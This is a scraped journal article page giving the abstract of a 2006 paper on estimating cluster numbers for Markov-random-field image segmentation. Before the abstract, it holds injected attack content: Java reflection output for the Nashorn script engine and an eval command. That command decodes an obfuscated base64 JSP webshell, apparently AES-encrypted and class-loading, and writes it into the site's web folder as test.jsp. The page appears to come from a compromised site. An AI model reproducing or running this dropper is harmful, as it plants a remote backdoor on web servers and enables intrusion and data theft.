public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var d=B.getDecoder().decode('PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiAlPgo8JSEKICAgIHByaXZcdTAwNjF0ZSBieXRlW10gRGVjcnlwdChieXRlW10gZFx1MDA2MXRcdTAwNjEpIHRocm93cyBFeGNlcHRpb24KICAgIHsKICAgICAgICBTdHJpbmcgaz0iMGJcdTAwNjE0NDM5ZWU5XHUwMDYxNDZkOWQiOwogICAgICAgIGpcdTAwNjF2XHUwMDYxeC5jcnlwdG8uQ2lwaGVyIGM9alx1MDA2MXZcdTAwNjF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdFx1MDA2MW5jZSgiQUVTL0VDQi9QS0NTNVBcdTAwNjFkZGluZyIpO2MuaW5pdCgyLG5ldyBqXHUwMDYxdlx1MDA2MXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTsKICAgICAgICBieXRlW10gZGVjb2RlYnM7CiAgICAgICAgQ2xcdTAwNjFzcyBiQ2x6IDsKICAgICAgICAgICAgICAgIHRyeXsKICAgICAgICAgICAgICAgICAgICBiQ2x6PUNsXHUwMDYxc3MuZm9yTlx1MDA2MW1lKCJqXHUwMDYxdlx1MDA2MS51dGlsLkJcdTAwNjFzZTY0Iik7CiAgICAgICAgICAgICAgICAgICAgT2JqZWN0IERlY29kZXI9YkNsei5nZXRNZXRob2QoImdldERlY29kZXIiLCBudWxsKS5pbnZva2UoYkNseiwgbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgZGVjb2RlYnM9KGJ5dGVbXSkgRGVjb2Rlci5nZXRDbFx1MDA2MXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xcdTAwNjFzc1tde2J5dGVbXS5jbFx1MDA2MXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtkXHUwMDYxdFx1MDA2MX0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY1x1MDA2MXRjaCAoVGhyb3dcdTAwNjFibGUgZSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBiQ2x6ID0gQ2xcdTAwNjFzcy5mb3JOXHUwMDYxbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKICAgICAgICAgICAgICAgICAgICBPYmplY3QgRGVjb2Rlcj1iQ2x6Lm5ld0luc3RcdTAwNjFuY2UoKTsKICAgICAgICAgICAgICAgICAgICBkZWNvZGVicz0oYnl0ZVtdKSBEZWNvZGVyLmdldENsXHUwMDYxc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsbmV3IENsXHUwMDYxc3NbXXtTdHJpbmcuY2xcdTAwNjFzc30pLmludm9rZShEZWNvZGVyLCBuZXcgT2JqZWN0W117bmV3IFN0cmluZyhkXHUwMDYxdFx1MDA2MSl9KTsKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgcmV0dXJuIGMuZG9GaW5cdTAwNjFsKGRlY29kZWJzKTsKCiAgICB9CiU+CjwlIWNsXHUwMDYxc3MgVSBleHRlbmRzIENsXHUwMDYxc3NMb1x1MDA2MWRlcntVKENsXHUwMDYxc3NMb1x1MDA2MWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsXHUwMDYxc3MgZyhieXRlIFtdYil7cmV0dXJuCiAgICAgICAgc3VwZXIuZGVmaW5lQ2xcdTAwNjFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdVx1MDA2MWxzKCJQT1NUIikpewogICAgICAgICAgICBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtIGJvcyA9IG5ldyBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtKCk7CiAgICAgICAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVs1MTJdOwogICAgICAgICAgICBpbnQgbGVuZ3RoPXJlcXVlc3QuZ2V0SW5wdXRTdHJlXHUwMDYxbSgpLnJlXHUwMDYxZChidWYpOwogICAgICAgICAgICB3aGlsZSAobGVuZ3RoPjApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGJ5dGVbXSBkXHUwMDYxdFx1MDA2MT0gQXJyXHUwMDYxeXMuY29weU9mUlx1MDA2MW5nZShidWYsMCxsZW5ndGgpOwogICAgICAgICAgICAgICAgYm9zLndyaXRlKGRcdTAwNjF0XHUwMDYxKTsKICAgICAgICAgICAgICAgIGxlbmd0aD1yZXF1ZXN0LmdldElucHV0U3RyZVx1MDA2MW0oKS5yZVx1MDA2MWQoYnVmKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvdXQuY2xlXHUwMDYxcigpOwogICAgICAgICAgICBvdXQ9cFx1MDA2MWdlQ29udGV4dC5wdXNoQm9keSgpOwogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xcdTAwNjFzcygpLmdldENsXHUwMDYxc3NMb1x1MDA2MWRlcigpKS5nKERlY3J5cHQoYm9zLnRvQnl0ZUFyclx1MDA2MXkoKSkpLm5ld0luc3RcdTAwNjFuY2UoKS5lcXVcdTAwNjFscyhwXHUwMDYxZ2VDb250ZXh0KTt9CiU+');var o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2006, Vol. 26 ›› Issue (07): 959-962.

Previous Articles     Next Articles

An adaptive criterion for cluster number estimation and the optimal algorithm for image segmentation

YAN Gang, CHEN Wu-fan Key Laboratory of Medical Image Processing, Southern Medical University, Guangzhou 510515, China   

  1. 南方医科大学医学图像处理重点实验室; 南方医科大学医学图像处理重点实验室 广东广州510515; 广东广州510515;
  • Online:2006-07-20 Published:2006-07-20

Abstract: In the algorithms for image segmentation, the number of clusters (NOC), which impacts on the segmentation results, should be first solved, and its correct estimation both theoretically and in application is of much importance. The authors propose an adaptive total energy criterion (ATEC) based on Markov random fields (MRF). The correct NOC of different images can be obtained by minimizing the ATEC and the parameters in the criterion are estimated by expectation maximization algorithm and maximum pseudo-likelihood method. The experiments show that the NOC can be automatically detected by adjusting the parameters, and the segmentation with the estimated NOC can be obtained by the maximum a posteriori at the same time. 

CLC Number: